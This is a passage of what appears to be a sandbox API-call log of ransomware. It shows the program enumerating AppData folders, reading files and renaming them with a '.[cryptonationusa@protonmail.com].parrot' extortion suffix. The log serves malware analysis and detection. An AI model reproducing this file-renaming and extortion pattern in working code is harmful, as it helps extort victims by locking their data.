ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xbb07bf00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3c1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="FRMCAC~1.PAR")) returned 1 [0076.424] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.424] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.424] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.424] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.424] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.424] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.424] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.424] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.424] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0076.425] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0076.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0076.468] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0076.468] lstrcmpW (lpString1="IMJP12", lpString2=".") returned 1 [0076.468] lstrcmpW (lpString1="IMJP12", lpString2="..") returned 1 [0076.468] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.469] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.469] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.469] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.469] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.469] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.469] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.469] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.469] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0076.469] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0076.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0076.470] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0076.470] lstrcmpW (lpString1="IMJP8_1", lpString2=".") returned 1 [0076.470] lstrcmpW (lpString1="IMJP8_1", lpString2="..") returned 1 [0076.470] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.471] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.471] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.471] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.471] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.471] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.471] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.471] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.471] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0076.471] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0076.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0076.471] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0076.472] lstrcmpW (lpString1="IMJP9_0", lpString2=".") returned 1 [0076.472] lstrcmpW (lpString1="IMJP9_0", lpString2="..") returned 1 [0076.472] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.472] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.472] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.472] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.472] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.473] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.473] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.473] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0076.473] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0076.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0076.473] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0076.473] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0076.473] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0076.473] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.505] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.506] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.506] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.506] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.506] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1 [0076.510] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.510] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0076.518] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.518] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2fa9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x2fa9, lpOverlapped=0x0) returned 1 [0076.519] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.520] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b5a8 | out: hHeap=0x5b0000) returned 1 [0076.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178058 | out: hHeap=0x5b0000) returned 1 [0076.524] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.524] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0076.525] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.526] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2fb0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x2fb0, lpOverlapped=0x0) returned 1 [0076.527] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.527] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b5a8 | out: hHeap=0x5b0000) returned 1 [0076.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178058 | out: hHeap=0x5b0000) returned 1 [0076.530] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.531] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.531] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.532] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.532] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.532] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3LKBQZJ3", cAlternateFileName="")) returned 1 [0076.532] lstrcmpW (lpString1="3LKBQZJ3", lpString2=".") returned 1 [0076.532] lstrcmpW (lpString1="3LKBQZJ3", lpString2="..") returned 1 [0076.532] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.532] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.532] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.533] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.534] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.534] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.534] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.534] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.534] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, 